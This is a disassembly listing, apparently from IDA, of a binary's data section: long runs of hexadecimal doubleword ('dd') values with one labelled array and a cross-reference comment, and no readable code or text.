		dd 80C042C8h, 4AA0FCD8h, 80F02D76h, 9008D846h, 2589B1DBh
		dd 0C889EF9Ch, 98BEA094h, 9B34656h, 0F16760D7h,	18C07970h
		dd 0F36F44Ch, 4A9D8230h, 330A8EA0h, 7C0CB9EAh, 0C11B2404h
		dd 900C09D8h, 0D4D0CD79h, 0E96AC303h, 953B66F8h, 785F48B4h
		dd 68225D9Dh, 6974132Eh, 9E47065h, 0EC673660h, 0AEEA4600h
		dd 2AFAD207h, 0DFDE01E0h, 0AFB1A576h, 0EAC6D94h, 0D0C5E64Fh
		dd 7A32E05h, 0B2DCE316h, 889F30BBh, 0D51CAB00h,	2F1D8AF9h
		dd 719E80B7h, 0E86C7D58h, 8008CB7h, 19C8DDA4h, 651B832Bh
		dd 0B212A10Dh, 30BBF298h, 7100E08Bh, 0E3DD4D82h, 18892ADAh
		dd 58749FACh, 0C83EB172h, 0AFBB0BA2h, 2DECC89Ah, 26A0E2C1h
		dd 90DC78AEh, 9633026Ah, 744D353Bh, 18B21EC8h, 93B071AEh
		dd 896260BCh, 0D12C003Ch, 0A226AA42h, 0FCC19CD6h, 0FEE57DA6h
		dd 57242C6Bh, 0FA00F47Bh
		dd 0E9271EC6h, 2D7AD053h, 882029A7h, 0A3D9E612h, 68B3ED00h
		dd 0A5FE10DCh, 5CE8B4AAh, 0B3000646h, 3869EA2Dh, 0D8255E8Fh
		dd 6BE4688Ah, 0FFB600E9h, 967D7C2Ch, 0A9005592h, 841E9F5Dh
		dd 7BA43B50h, 0C2B11C79h, 9797D6C8h, 37CF80F8h,	237F3670h
		dd 82DCEB97h, 1DBCD893h, 1EF2617Ah, 0B2E34953h,	0C4BE78F8h
		dd 0B06465Eh, 59531F95h, 26510F40h, 58B6A5A0h, 7D007B4Fh
		dd 4872D267h, 30882B98h, 2A41108Fh, 8E001FD0h, 7C9601Ah
		dd 2C1E59Dh, 70BB442Dh,	64ED120Dh, 4FBDECE0h, 0C5470050h
		dd 0FC0B6EAEh, 6498B1D1h, 2B1829D9h, 46D81461h,	0FF363A12h
		dd 9294692Bh, 0FCA0B52Ch, 6D074E47h, 4A46C155h,	0E07D41D3h
		dd 5B3B6772h, 8F3CC0EEh, 9E3C01EFh, 0A5FF16DBh,	7DF260E2h
		dd 3B3230h, 0D716C54Ah,	4A34623h, 0E500E8EEh, 72D84FD1h
		dd 5480EF47h, 4C5DB8B4h, 7600D826h, 5868EA2Ah, 637DB24Bh
		dd 10AFBF2Fh, 180D2FFCh, 39B08083h, 43980BB6h, 67D1D700h
		dd 258EC3A9h, 7055258Dh, 0B90E1040h, 4721380h, 0A82BE0FAh
		dd 2460E29Eh, 6640C02Ch, 3B5F690Dh, 0BFF4F2Ah, 871865F7h
		dd 0BFF55982h, 0CC7100C2h, 6918BE79h, 0C16C800h, 50B730F1h
		dd 0FE2F0B68h, 28520115h, 1D43A62Fh, 80B691D0h,	0CA25E0A1h
		dd 7427DB8h, 970E4621h,	7C88F960h, 0FB8500BCh, 0CAC3A0A7h
		dd 0A6F9AB64h, 0A1816043h, 3CF0F8A2h, 0FED7F239h, 1C3C1D58h
		dd 7A95F0CFh, 0C9F9000Ch, 0C8C196DCh, 0D091D02Dh, 12682B1Eh
		dd 0B064F434h, 40F09F52h, 0AC6511F8h, 2442EF40h, 0C7FAB980h
		dd 670B445Ch, 0C06C6EE2h, 80C06B1Ch, 381327FBh,	0B408199Eh
		dd 94AA8205h, 0A07507BFh, 0E3E55544h, 0D428ED22h, 16124884h
		dd 0D24ECC0Fh, 705D882h, 22BE3A2h, 49B403A4h, 0ED893B18h
		dd 0FCF3E200h, 0E4779650h, 7D690524h, 1D4E431Dh, 0EC80169Dh
		dd 898C68D1h, 843019EFh, 552F29D0h, 4162C1F0h, 8C0EE64h
		dd 0C9803B49h, 0DBB11E66h, 4A79680h, 0B16B8B88h, 0BC23A8h
		dd 0B9BC8F3Fh, 0A03276h, 6AE45617h, 7A7C7931h, 0EC140D00h
		dd 44926B6Eh, 0AB93825h, 7C31Fh, 0EE61AD71h, 9CB0050Eh
		dd 465E389Ch, 5B6F00B9h, 0CC19DAA9h, 94B12598h,	8B193464h
		dd 7B17B2Fh, 0C166E310h, 47918800h, 9A85E45Dh, 0C90E0064h
		dd 0CF333FDDh, 60BC7F1Fh, 52C04F80h, 1F738136h,	467E47E3h
		dd 21B180A1h, 4A452B00h, 0E562A7E0h, 54A40018h,	1B5A1AE7h
		dd 0D52575Fh, 32BDF2C4h, 660D4DCh, 0B0B979CBh, 2F6F05DBh
		dd 4B1D4D86h, 0B4D301D0h, 9B09870h, 8C9EAA7Eh, 389CA4F8h
		dd 4465Ch, 0D6EB276Ch, 0EA5E9CA1h, 2D240650h, 0A067E586h
		dd 5B8B6009h, 0F538916Eh, 6305BE18h, 86A52FC2h,	1F6C842Ch
		dd 400863BBh, 38F0FC71h, 0C899A74Ah, 7FFDE180h,	54ED3D0h
		dd 0DCBA044Ch, 8148ECA2h, 1D4B6488h, 120C612Ah,	125C6CE1h
		dd 58C97557h, 80544B3Ah, 11689C68h, 0A7EB930Ch,	401BC844h
		dd 0D302B115h, 0BA2B9D7Bh, 1CEC40B4h, 5BA2E268h, 0C0E4DAAAh
		dd 0FBB59F70h, 493B282Dh, 0A4CE0544h, 0C0F59252h, 0C427DF91h
		dd 0B2039DFCh, 57F65AA1h, 0C996919Bh, 93F00026h, 0F40E3D8Dh
		dd 0AB9086BAh, 0FB7CA00Bh, 58553A2Eh, 807D689Fh, 1C0A6126h
		dd 0B0D798B1h, 0C950118Fh, 935490A1h, 20F4A9Ch,	91FDAF3Ch
		dd 61C22069h, 98EACEEFh, 7944F8C7h, 0DE421E60h,	96DD3000h
		dd 92257A22h, 0B7E82568h, 6146DCA4h, 0A0C0D804h, 58449616h
		dd 0D8007CDBh, 728F916Eh, 32E3A0D6h, 0CBA08442h, 5F1F1C64h
		dd 0AD18C39Eh, 0B4CCBE18h, 0AC00D67Ch, 0AB337D3Dh, 4C26492Bh
		dd 7974F019h, 789480B9h, 2625673Eh, 0A51DFCA1h,	77220122h
		dd 93359026h, 18856A50h, 0B3A413AEh, 307DB200h,	92009E64h
		dd 8904941Eh, 0F08086FAh, 934F8Ch, 0AFD4AD14h, 69C588E5h
		dd 44AEFE4Fh, 0EE7024F0h, 0A77A5004h, 0F381E103h, 0F17ACDC7h
		dd 3E9C52FCh, 1067B849h, 9DE3470h, 117D9F42h, 9C70485Bh
		dd 3F8E002Ch, 0C0B2D40Ch, 79275F3Dh, 1190170Dh,	942C85BEh
		dd 48BF9F80h, 0A75601ECh, 1354920Ch, 0E263D02Bh, 0B2C1CD3Eh
		dd 0C761E9A9h, 60BF44A4h, 25C2BDEh, 4303159h, 68D91B2Dh
		dd 33129C38h, 0C0AD8C69h, 5847144Ch, 86802C7Fh,	0C7FD60F6h
		dd 29736203h, 80DC65D5h, 5CAF8B2Dh, 28978A0h, 0FC031404h
		dd 0C3400BCCh, 82B05CBEh, 5632A32Dh, 5389A456h,	0F65B050Ah
		dd 18B0D056h, 0C1252DCCh, 7E1CC061h, 0BDAA7821h, 57E4DC03h
		dd 72724C8h, 0F12CBF73h, 0E0CF5755h, 3B874019h,	6D04C4E4h
		dd 0AA808F2Ah, 0AB27DCEDh, 0F4021C8Bh, 18FC8BEEh, 416E40BCh
		dd 80DD6168h, 9BDD7561h, 0F140DFh, 78D62A16h, 36D248Eh
		dd 8C8BD409h, 805C2297h, 0B0FC64D9h, 1EE000F8h,	0C0160EA1h
		dd 10E09FFCh, 0BEA4419Fh, 18032987h, 0BC2F8958h, 68FE9D89h
		dd 7F00B291h, 0FD989533h, 490035AAh, 6E9A69BCh,	5CAEC7CFh
		dd 0A710842Ch, 0A3E05011h, 603748C4h, 17458A0Fh, 88C814B9h
		dd 27366A09h, 0E38208FEh, 8ECD2931h, 492C8544h,	47EC7C00h
		dd 1EB55E4Ah, 839AD520h, 9EE22C51h, 0E88386A2h,	784B4C2Ah
		dd 538010DBh, 40739209h, 1BAB0F01h, 0EE29A8A4h,	932AC050h
		dd 0E4B40Bh, 0BF19C727h, 24490DABh, 0DF2611F4h,	123B680Bh
		dd 1D8D1020h, 0F0A26F04h, 3F715CF3h, 94BB9D8h, 83B25855h
		dd 0F8602C56h, 2080F665h, 2F1D119Dh, 1A5F1DEh, 6ECFAC98h
		dd 94A5C448h, 18102DA0h, 8080ACABh, 560C4FFBh, 6408B978h
		dd 3008A9D8h, 3A3B9E82h, 6D0C1082h, 40D8F082h, 164F2988h
		dd 8C7C8C88h, 0B3E5C31Eh, 0BA88EC51h, 1CB39BFh,	9E3407Bh
		dd 9AE40162h, 9CB0270Ch, 2CF468EAh, 0DCAE800Ah,	2B00C596h
		dd 0B2627B73h, 790C162Ah, 3B08E2E4h, 9F87807Ch,	728278D0h
		dd 413500B8h, 52FE0D54h, 46138DBCh, 3809CE7Bh, 0A020D075h
		dd 923F9039h, 0E4254C88h, 5F84AD28h, 23583ED9h,	80E11C0Dh
		dd 9290E22Ah, 58071C3Dh, 9862DC8h, 206E786Dh, 0C206927Ch
		dd 4D21E709h, 0AE6C07B2h, 11802058h, 0A57F7Ah, 0FBF7B8D8h
		dd 4829DDh, 478E0FAh, 0A49B2CAFh, 688A2527h, 0E516920h
		dd 0E312456Ch, 905B4240h, 7205BFE8h, 1161E6F9h,	8F2514E6h
		dd 63831498h, 1D045280h, 277ADFh, 0CAF84D18h, 3B7D38F1h
		dd 0BF0440B7h, 2B6817E7h, 29104522h, 1890BC6Dh,	8DE11E49h
		dd 0CB9700C3h, 0D4DD12Ch, 0B44AA3B5h, 0B9F27CF2h, 4956430h
		dd 0AA3DA5B7h, 248CB88Fh, 927219Fh, 0DCFC562Ch,	73D27700h
		dd 0D0D319DEh, 2AEC298Bh, 1AB20088h, 0AE4CEF5Dh, 2D8E9A09h
		dd 0C160A497h, 1B75A081h, 838C8A00h, 705A494h, 78B91514h
		dd 0A0A07925h, 80922FA7h, 4F86E316h, 1D1048BCh,	94FC003Dh
		dd 3E40752Bh, 2E4402ACh, 8ABB72A3h, 51085CF4h, 0A41700F8h
		dd 3EF697C0h, 0A861F11Fh, 0ECEA9E71h, 0D315A086h, 940A7812h
		dd 8CD20A33h, 75706F00h, 0B06A68CBh, 91D6B1h, 25DBD674h
		dd 54B91DEh, 706C5CA5h,	0FC60EB2Fh, 0B0A4DB9Eh,	3C258D09h
		dd 3CD058C1h, 34738EF2h, 0C2116965h, 0F8695FA0h, 9E698F68h
		dd 40A8ACCBh, 41A0CD8Fh, 8E0ED459h, 481F6780h, 472CF4A6h
		dd 25CD40ACh, 0EC00F885h, 0E121FDBBh, 1E3D7B0h,	826D6E8Ch
		dd 500C9047h, 0DC76C4E4h, 6469520Ah, 3D05F8CFh,	90F5BA4Fh
		dd 3C380621h, 480A99Dh,	0B53A2185h, 12A4EBD0h, 32C9AC05h
		dd 4B0794F4h, 4610880Ah
		dd 0BE8A840h, 868DC4F0h, 4E533CA2h, 6884856h, 10B42883h
		dd 3F12EF9Ch, 0B4552A57h, 0E1F0B3B7h, 38411639h, 230877DBh
		dd 0AA7BE20h, 8FC2C368h, 0E57881A4h, 54EFC0E3h,	8F44C56Ch
		dd 0C0BE88D4h, 1D53A6E6h, 0DE07FA01h, 0DF097184h, 946070F1h
		dd 0EBFD127Ch, 0F200358Eh, 310FF214h, 8544DC07h, 6C469901h
		dd 0BFD71E6Ah, 8F813422h, 2BF26173h, 8C765C2Fh,	2BBB3B09h
		dd 61545642h, 30FA9FF3h, 0F015064h, 0CD155645h,	0FEF2F141h
		dd 2AC2414h, 7ACE553Eh,	0C20400D7h, 9CD5FE50h, 0B107DC2Ch
		dd 0BE1CD134h, 405C7CFBh, 0C850A544h, 2ECD451Fh, 96563C80h
		dd 91DD33h, 0C9F7A4D4h,	0AB5FD1DBh, 50E8FB59h, 0E8B52530h
		dd 203BA0A4h, 0B105A616h, 15138B2Bh, 0F5CE74F5h, 0ECC90005h
		dd 8CB6B878h, 84EC8628h, 0C063F028h, 4736780Bh,	19689058h
		dd 0D4E012Bh, 0C39EF814h, 180F7B8Eh, 0A25423BAh, 0A79010C1h
		dd 0E6A10474h, 8B25186Dh, 0C0B78810h, 0EF2A4345h, 16D01648h
		dd 0A8B763A3h, 0A1770FA0h, 0DDF6C800h, 1EBFCBC0h, 20151390h
		dd 1258B471h, 2511A340h, 0D4046F26h, 0BCC8B8A6h, 0DF008CBAh
		dd 0B480D1F8h, 97F9E62Dh, 12FFD880h, 29133AE1h,	14C07F83h
		dd 0D3551007h, 0D618E474h, 4F1F40B0h, 0CAE57586h, 0A54CDE74h
		dd 0BCE48845h, 0F0F5D860h, 7E69F301h, 0B1685A98h, 0E02537D1h
		dd 90CC6E2h, 50200402h,	0B982FC09h, 8CE1B299h, 554830A7h
		dd 5810578Ah, 0D907537Ah, 1BCE1888h, 0E06777D0h, 8A0302ACh
		dd 36C39D3Ch, 0BA091850h, 64E39B29h, 12A40B18h,	0C0A1AD2Bh
		dd 6E3B1D89h, 589018C8h, 7CF8ECE5h, 0D94D008Ch,	6E6743AEh
		dd 0A494208Ah, 24FA8580h, 58DF0C98h, 0AB02B492h, 81E3C91Ch
		dd 0DC0C5Eh, 334FA0D9h,	6C5ED007h, 9D631A03h, 4FB0E23Bh
		dd 47C822C0h, 9C008072h, 0D8EC3E8Bh, 12FBC12Dh,	0FC17F880h
		dd 8CB6EC90h, 8AB1BD12h, 860954A3h, 40E81A13h, 424B3B36h
		dd 6B985421h, 5F0D2B07h, 0BC6E6FA1h, 0D1FF1807h, 158AF15Ah
		dd 0E601E653h, 8060179Ah, 6C114177h, 0A484DC48h, 33016BEBh
		dd 31D92ADEh, 182F2B14h, 7700B523h, 9102C8C2h, 0C01A5F4Bh
		dd 0B2D9F93Ch, 2393290Dh, 0F800687Ch, 918FAA97h, 2A460138h
		dd 3B64038Bh, 655A0440h, 0C0E295B1h, 3B9EF261h,	6092B606h
		dd 0BEA32D08h, 964F0549h, 2268A979h, 3C379F26h,	76112109h
		dd 59DB4080h, 33482DFAh, 98B05BBCh, 22128816h, 7A8A14A0h
		dd 0B0937F2Ah, 9876DD00h, 0C8BC086Dh, 0EF3801AFh, 171C9A19h
		dd 0F0D866E3h, 3C9F72F4h, 0D225F1C0h, 7FEF8C10h, 0C2312F03h
		dd 1F5425F0h, 0A0EC2698h, 1B2E6913h, 346C40B1h,	0AC5C923Ah
		dd 1602B910h, 5C8B5F72h, 40C7BFC8h, 0F5A52130h,	0BE8B07Eh
		dd 99863042h, 0AEE8ACA4h, 253C186Eh, 0A81E8317h, 40D38F44h
		dd 72BCBD03h, 57A51CF3h, 0CF8F446Bh, 9B7482C1h,	801048D8h
		dd 144C1423h, 388CBDE8h, 40AC49C3h, 9AB5010Bh, 64222B20h
		dd 58ECB6F0h, 0E84A264Eh, 97ADB0D1h, 807A9120h,	0CB539422h
		dd 0D3162FB6h, 0AEC87000h, 0EB984C3Dh, 0DB116C9Ch, 0D827FB02h
		dd 0B8D9223Eh, 202C12h,	28D7FD9h, 2E7E159Fh, 0ECA3FDFEh
		dd 11FA80F9h, 0DCDB4451h, 0CEB55B60h, 97AB2916h, 172DF8F0h
		dd 3E3E2196h, 0E58C7924h, 0ACEC4Ch, 0F2EB7379h,	1830948Bh
		dd 0D99FCC01h, 42144556h, 880DC460h, 1A602103h,	0AFFDE839h
		dd 0C0924F93h, 69546318h, 44749588h, 3B208368h,	90720279h
		dd 78A69F73h, 465E485Eh, 0A1F702B6h, 76762C5Bh,	455173Ch
		dd 15DB04h, 0A502EB0Ah,	61CCB044h, 0B1D1A920h, 18386292h
		dd 6480E8FCh, 3FA4FA60h, 0A15E582Ch, 88A80F18h,	2D2CC1B5h
		dd 815070DBh, 3CA7045Eh, 23702F5Fh, 46BA00C0h, 3A808D2Bh
		dd 75A503Eh, 0A98AE0F2h, 0BAF808F6h, 407FF500h,	0BFECD010h
		dd 744C5305h, 0FB3A0598h, 40F879C9h, 28B73380h,	0D471D0DCh
		dd 552575Ch, 0D2FFDE25h, 61880CA8h, 40B9AA93h, 470B10ACh
		dd 50F3AB60h, 149F1278h, 9E102035h, 0AF5B72C3h,	1168F448h
		dd 0A20C5356h, 9F0530BEh, 0B9B82300h, 0D9D5ED18h, 9C3AF766h
		dd 11412EB8h, 0BF88C80Eh, 7C0823C0h, 85443EEEh,	0AB17150Bh
		dd 8CCEC0Bh, 0DC73E091h, 8E872C60h, 9F56AF05h, 0B0819B94h
		dd 89009312h, 0E0957F35h, 4F33407Ch, 29C0819Ah,	296475B1h
		dd 0FC03B824h, 24925CC0h, 17E3AB09h, 474C506Eh,	4DAB8110h
		dd 0CDC0FBE1h, 0E8614828h, 20CC0B00h, 639ADF24h, 0FC44D802h
		dd 0D0CEDB62h, 38196A84h, 0C8DE4950h, 2A9EF803h, 24B97015h
		dd 415C3412h, 0F2A71669h, 2A21507Ah, 949C04ADh,	787AAE11h
		dd 5824BD00h, 173B8B2Ch, 142CCEBDh, 442712EEh, 3F358F09h
		dd 64BD60D8h, 9BCA0538h, 0FA7C8595h, 182BCC20h,	5B020BD6h
		dd 30A072CEh, 9EF917D4h, 795FA8B2h, 8CD5C440h, 3B568Bh
		dd 0C7EDFD2Bh, 30AF823Dh, 1FEEE000h, 9EFC41D4h,	0A88949A2h
		dd 0C9F94209h, 0FDC64DEh, 6C9F77A5h, 0A0852270h, 837C73C8h
		dd 93791822h, 392F3E54h, 5AA53890h, 7A900E0Eh, 8C8F6167h
		dd 0ECD00BB2h, 600200F1h, 88372758h, 0D8A42BA0h, 89342C58h
		dd 53F88023h, 0E6FAF681h, 0D2DB00D3h, 4B01CDADh, 180055E1h
		dd 0A61BABC9h, 0B41AC0DCh, 0F19F9390h, 4442DC4h, 8E12DBA0h
		dd 0D8E10F0Bh, 0BBD8505Bh, 18F68C93h, 2A80C0C2h, 0F1C0F125h
		dd 1C0D18BCh, 8B7974h, 901C636Ch, 0AA777735h, 3C70A548h
dword_4E414C	dd 348EDF1Eh, 9FC07CC8h, 62A49475h, 0A96358EEh,	8E109CDAh
					; DATA XREF: ___:off_43ACF4o
		dd 0C5071449h, 0BB8220A3h, 890C8066h, 30AE6F25h, 0E0790091h
		dd 0B3383AF9h, 0DCA0D1FBh, 22E91132h, 73911764h, 8C2FD800h
		dd 3A8E7CD1h, 445BD81Dh, 1DB8184h, 25051EDCh, 528BECh
		dd 606F0C57h, 69D64A6Ah, 5881015Eh, 3B0915B7h, 70525C0Fh
		dd 0A0B8672Dh, 0EAB5E5AFh, 0C5A4D320h, 0D51C21A9h, 0FA30A520h
		dd 9F5FC74h, 181D97AFh,	1B670420h, 0AB132C03h, 0F0D143AAh
		dd 6E8286h, 0DE265870h,	38A60A81h, 0A09C2F74h, 3EE3A388h
		dd 0E3E57216h, 32D60114h, 1A01F62Dh, 7C88503Eh,	5A54A04Fh
		dd 0B84ACAF4h, 8F27F8A3h, 192DACD1h, 0D73FDCE0h, 1D5D3E8Ch
		dd 6320A92Fh, 0A1048705h, 0C04EDB9Eh, 130D091Fh, 0E236B8E0h
		dd 0A8AED728h, 0B1517086h, 61700190h, 82DC6D16h, 0A5AAE62Dh
		dd 8C364A8h, 8CC8B539h,	889600C0h, 0D48FDB37h, 1B7AB63Bh
		dd 0D5578B01h, 93A48A5Bh, 7B88006Eh, 79D74E90h,	9EF54700h
		dd 0A1940923h, 9F17018Dh, 5F5422DAh, 6A68D8ECh,	4C209D60h
		dd 76C75505h, 2F220E2Ch, 43479E92h, 48E841EFh, 0F887D1Ch
		dd 0A31BA67Eh, 0D01325D2h, 2CC09AEAh, 7D59A3h, 0A6E21EE7h
		dd 0B3EC9D79h, 9C2FC3Eh, 821C64CAh, 0D0372D98h,	0E06D0EC8h
		dd 0BEA00D20h, 0FD7F618Fh, 59A17C2Dh, 0F1815D2Ch, 25111B8Ah
		dd 482D0891h, 300862B2h, 5B0F0281h, 2650102h, 0A502228Eh
		dd 39830230h, 2DE8402h,	9407F043h, 800E19FCh, 36805AB6h
		dd 5D79C897h, 8317124h,	3B01355Fh, 0CD42015Ch, 187E101h
		dd 4B01C8D1h, 0C2090119h, 1C58801h, 490113E0h, 915101E9h
		dd 1548C01h, 480128DEh,	105D03F7h, 10E67251h, 9041F575h
		dd 0FE070888h, 3B60BB08h, 403788D4h, 80A83A78h,	99816B70h
		dd 0C1D79451h, 169FF01h, 0E3016D3Ch, 10A103FAh,	19ED3289h
		dd 0D219F9B6h, 90A26E02h, 9507966Ch, 9261818h, 35816E02h
		dd 10C8A053h, 103D8081h, 1D10243Fh, 98442A38h, 9A09DE62h
		dd 5E9602FDh, 21AE002h,	0EE061772h, 76542061h, 30F8D554h
		dd 0C4B86840h, 48880E9h, 53040BECh, 0A4570A10h,	823B588h
		dd 0DB081ED8h, 6924187Ch, 3D81D79Eh, 0D8F05195h, 70EA3710h
		dd 0E3DD7041h, 2706D912h, 0E01C2089h, 6202A820h, 0D0E52956h
		dd 844D7D05h, 13D12914h, 0B17A2A01h, 39E819D9h,	2ACD4190h
		dd 0D20CCE2h, 0F80C32FEh, 7602E6E1h, 877102D4h,	2815102h
		dd 63022C85h, 0F16B02E4h, 2086402h, 0B802FC5Ah,	0E1CB0267h
		dd 28E0B02h, 0D3028DB0h, 0FF59025Fh, 5335402h, 0CC9044FEh
		dd 7DD90430h, 0C2B7E04h, 406331A2h, 9240407Bh, 9F88A961h
		dd 211FD998h, 4D805E55h, 880F81D8h, 8CBEA79h, 29086ED5h
		dd 51140804h, 8D31308h,	5236D150h, 1C22008h, 73596A63h
		dd 10F920F6h, 20216C20h, 27205CBEh, 91F96220h, 40525ECh
		dd 0E8EA8C5Ch, 0F9904232h, 81CA06DEh, 2D99BB65h, 2F938444h
		dd 0AC83304h, 6088AC17h, 0C63E08FAh, 837B508h, 508F92Eh
		dd 19650D98h, 8C02FAD1h, 78480213h, 0DB1402h, 805EFD02h
		dd 181B496h, 227C4F92h,	0F0E9BC64h, 1E643367h, 6DD92E10h
		dd 88DE4D6h, 4ED92A04h,	0CA007DAh, 0A71B004Ch, 6F283058h
		dd 0EB036A10h, 5D69099h, 6580A046h, 0A1DA2292h,	4F07498h
		dd 52D11200h, 27B457A6h, 2421BF2Dh, 606DAC4Ah, 0A27CCE8h
		dd 8950C06Ah, 750500AEh, 0E33404A9h, 0A80EFC4Bh, 2C4A0C8Dh
		dd 4FE830DEh, 0BC40A4E6h, 90149E4h, 8F05BE90h, 0E474B493h
		dd 0C0483D4Dh, 8A80AC07h, 2F81AFB1h, 3EF9FCC6h,	500E45Eh
		dd 54A0AF83h, 4F2533E7h, 24E0CA20h, 0D46E1949h,	92736270h
		dd 0B668E04Dh, 8A4001BDh, 0BCF78DBEh, 0FA68CCB4h, 0BD1160Fh
		dd 0ABA52002h, 1927B1Eh, 0A62D25CEh, 86EA0880h,	0E90D0A80h
		dd 1605F8E9h, 0D1A5B976h, 40E3CC30h, 0FFEB6D6Ch, 79FC12F0h
		dd 0C950AC00h, 0C229A7A4h, 2C30CE23h, 2A474643h, 79D72899h
		dd 80F80AD8h, 0F3C8C50h, 68365A1h, 2810A51Eh, 14B08A0Ch
		dd 0EC10308Fh, 0F9F24600h, 2EF480FAh, 19477F00h, 0A00CBAADh
		dd 0CF2707DFh, 0C202FF93h, 0F1875658h, 0F8A3AE44h, 8588E8CEh
		dd 69FE4CA1h, 0C27F720Ch, 1276883h, 1FE9ABD6h, 68E84A42h
		dd 84F90AFCh, 1580C4B9h, 75569E83h, 1D506F8h, 0C0908F2Ah
		dd 26742227h, 0C02F20h,	0BB18DFD8h, 232A6C4Ch, 0F43081BFh
		dd 0B0A77DD5h, 8DE8B068h, 0C1E00400h, 0E774120Fh, 76A8A48Eh
		dd 0E3050089h, 0BC8DB779h, 1A674DD1h, 202F14A8h, 0E37B2266h
		dd 0DCD73E48h, 17932600h, 0CAEE1192h, 8D6EE100h, 5E621451h
		dd 2FA701C1h, 6B8FCFFDh, 72E84CDDh, 97732A10h, 0AE9EC503h
		dd 0D0002478h, 2F05B689h, 50934937h, 0FAD0887Ah, 0B9500092h
		dd 80E8CA73h, 48F95A0Ch, 2729C4DCh, 4A09ECD5h, 0CB470EAh
		dd 91438FCAh, 1C004718h, 0C4B4596Ah, 895E8h, 89C09AA6h
		dd 2A62CD7Ah, 40F93437h, 12805320h, 77C20351h, 9A3AB8A9h
		dd 0F038FAB8h, 0B889BA3Eh, 58E73090h, 1A81E45h,	0E8E2B67Eh
		dd 0C09B9AEBh, 75011C57h, 0BEB28BE7h, 8C20099Fh, 77AA0060h
		dd 9D9BE8A8h, 0A101445Eh, 8FC35012h, 34203D13h,	98510191h
		dd 0E8E5DE78h, 8EF6ECEFh, 61927F01h, 0D40BA857h, 0E4D97F0h
		dd 2A75AFE3h, 0FBB88CCCh, 805EA03Ch, 3F081620h,	4EA68096h
		dd 0FECD570h, 9E4C0A68h, 583029B8h, 0F71C3896h,	0D0D10009h
		dd 35A979CCh, 5F703721h, 84826A3Fh, 1691A777h, 144586C0h
		dd 2F03006Bh, 0DAD1FF1Eh, 6C0683B1h, 2EB729B2h,	0CFC72650h
		dd 9EE10034h, 0D84A78BEh, 80E43950h, 0DC1E322Ah, 840E9C7Eh
		dd 6073BA0Ch, 0E849FD46h, 3D1B81A3h, 22AB2748h,	70604480h
		dd 92F702ACh, 3C2C78A6h, 9026EC44h, 381C053h, 840CA815h
		dd 0BB8FF040h, 1C70C35Dh, 0A1A5D872h, 0B0F5F3C0h, 0D107DEB0h
		dd 0F85D97E4h, 0B8C0BE7Eh, 0EF349912h, 78F101E8h, 4170598Eh
		dd 79C8F317h, 0E9073766h, 16389B9h, 148258A4h, 0E4D864DAh
		dd 0A9801752h, 2AA0A0D6h, 4B46243Eh, 9613A0C1h,	40832C30h
		dd 1CA8DF06h, 0A9117E49h, 1C210FDEh, 102FBC8Ch,	40866490h
		dd 9740902Dh, 75076665h, 0D37F438Ah, 3115F9Fh, 221F9B00h
		dd 4D6A2C6Dh, 0A97FC317h, 0D8605493h, 49192A46h, 0A8109C15h
		dd 613D9Eh, 7AFA3E7Dh, 0EC05A301h, 6411042Ah, 0C12B14A1h
		dd 326692A8h, 23802E28h, 30806824h, 458D01F4h, 60A50022h
		dd 0A87A63EAh, 4622B39h, 0CA9E70h, 5AC77E22h, 8F26C2E4h
		dd 9180B410h, 2E672B53h, 0D490E4h, 16AA0CFCh, 8FCD8012h
		dd 2926E3EDh, 0EB646865h, 808B60C8h, 8309752Dh,	0E11F83Dh
		dd 0F9AB87FDh, 8F6D3880h, 15FA3A61h, 2E106532h,	4090806Eh
		dd 0F1F7D800h, 0F2AB84ACh, 20B490FBh, 0E8F9AAD6h, 5017D11Fh
		dd 0C2002265h, 6891F96Bh, 2BE218A7h, 25011A5h, 40E38F26h
		dd 5C23B380h, 1D49D1ABh, 9C29965h, 8C0115EEh, 0FD2A89A0h
		dd 0D088343Ch, 0C3466C9Ah, 0F238027Ch, 5E80FCABh, 760988F0h
		dd 27FB172Ah, 0DC9083E4h, 0EEF66ACCh, 0EDE7007Bh, 684EC4D7h
		dd 0C369BB2Ah, 83B41228h, 88D40A44h, 2029A8CBh,	0DF073922h
		dd 0FAAB2D5Ch, 1CD08A84h, 8081C08Fh, 0A324CABAh, 0F98BE824h
		dd 429822B0h, 206CC13Bh, 0A6203832h, 2CEF532Ch,	0F73C066Fh
		dd 7964A011h, 0D270A3D4h, 81F043EDh, 54247280h,	22702Fh
		dd 0EA0B8FA8h, 5192F86Ah
		dd 4840B000h, 0BAED9F5Dh, 7E5026A1h, 485C2590h,	2563C42h
		dd 0C82815DDh, 0B658E100h, 7384688Dh, 6108A292h, 7083E428h
		dd 3ECF2A7Eh, 708A4801h, 9D677202h, 0E94A5060h,	0FBF800F7h
		dd 0D7830D2Dh, 0F160BF76h, 399E9B90h, 0E9D3007Ch, 4A62701Eh
		dd 30C9727Eh, 8F6890A2h, 489150CDh, 147BF6F7h, 0E24080F1h
		dd 6201007Ch, 4272C15Ah, 0AD032C1Ah, 0EB80E288h, 0A400871h
		dd 2904C9FDh, 14D28D69h, 4EE11B2Ch, 78AC62E3h, 0C761B8C4h
		dd 0B5E9E800h, 12029BA7h, 5780F51Eh, 0A9E0A1E2h, 7C70FEBBh
		dd 0CD7280B6h, 6E1168C0h, 1C304FCFh, 4646342Bh,	5020A74Ah
		dd 0FB609A60h, 302A986Ah, 1E78C680h, 1B005025h,	750E68E6h
		dd 17FC4A7h, 7B059E90h,	23E7458Ah, 6048D8h, 836D291Ch
		dd 91CC27CDh, 59240108h, 6F4E91A5h, 70C40C24h, 314A04C8h
		dd 0C988CC18h, 0E8942025h, 7028E493h, 6ECADCA0h, 80B15C98h
		dd 4BEEF989h, 0A4780174h, 219E069Dh, 0ED49E44Fh, 0E62000B5h
		dd 982815E9h, 0ABBD25E0h, 0DA0BE47Ch, 2DC09666h, 94D08305h
		dd 3DF07201h, 0AD854A57h, 0F418B9B1h, 3BCF0AEh,	0D0A1D09h
		dd 7B3898F8h, 328500DEh, 43580B50h, 6200D628h, 2260151Ah
		dd 9AB75Bh, 0C6993536h,	0DF93E8EDh, 2DE2F503h, 0B8882Ah
		dd 67B0F290h, 8FF39DABh, 94042626h, 4A01E651h, 6C822E27h
		dd 0BC89CBDh, 128F664Dh, 91AD98C3h, 6059E738h, 8800DAA4h
		dd 21ADCC33h, 5C0CAC7Fh, 3E19B40Ah, 4C893040h, 0FB2A2928h
		dd 530B98F6h, 823C6B96h, 6A372A2Ah, 0E98C0078h,	3190B6h
		dd 33C5D0E1h, 7F806A52h, 486D2830h, 0FEAA2FE2h,	58220FE8h
		dd 9A0C2756h, 87131510h, 0F4017D4Ch, 428A72CFh,	532A2073h
